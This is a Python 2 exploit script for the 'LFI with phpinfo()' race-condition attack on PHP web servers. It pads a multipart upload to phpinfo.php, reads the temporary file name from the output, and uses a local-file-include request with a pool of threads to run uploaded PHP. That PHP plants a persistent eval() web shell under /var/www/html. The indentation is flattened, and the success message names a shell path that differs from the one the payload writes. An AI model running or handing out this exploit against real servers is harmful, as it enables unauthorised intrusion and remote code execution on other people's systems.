import sys
import threading
import socket
def setup(host, port):
TAG="Locale File Include Vulns!!!"
PAYLOAD="""%s\r\n<?php $c=fopen('/var/www/html/Err0r/zz.php','w');fwrite($c,'<?php eval($_GET["zz"]);?>');?>\r\n""" % TAG
REQ1_DATA="""-----------------------------68124396905382484903242131\r\n"""+\
"""Content-Disposition: form-data; name="userfile"; filename="test.txt"\r\n"""+\
"""Content-Type: text/plain\r\n"""+"""\r\n"""+\
"""%s\r\n-----------------------------68124396905382484903242131--""" % PAYLOAD
padding="A" * 8000
REQ1="""POST /phpinfo.php?a=%s HTTP/1.1\r\n"""%padding
temp="""Host: %s\r\n"""%host
REQ1 = REQ1+temp
REQ1=REQ1+"""User-Agent: """+padding+"""\r\n"""+\
"""Accept: """+padding+"""\r\n"""+\
"""Accept-Language: """+padding+"""\r\n"""+\
"""Accept-Encoding: """+padding+"""\r\n"""+\
"""Connection: keep-alive\r\n"""+\
"""Content-Type: multipart/form-data; boundary=---------------------------68124396905382484903242131\r\n"""
REQ1=REQ1+"""Content-Length: %s\r\n\r\n"""%(len(REQ1_DATA))
REQ1=REQ1+"""%s"""%REQ1_DATA
#modify this to suit the LFI script
LFIREQ="""GET /index.php?page=%s HTTP/1.1\r\n"""+\
"""Host: %s\r\n"""+\
"""User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1\r\n"""+\
"""Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"""+\
"""Accept-Language: en-US,en;q=0.5\r\n"""+\
"""Connection: keep-alive\r\n\r\n"""
#print REQ1
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
#print fn
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
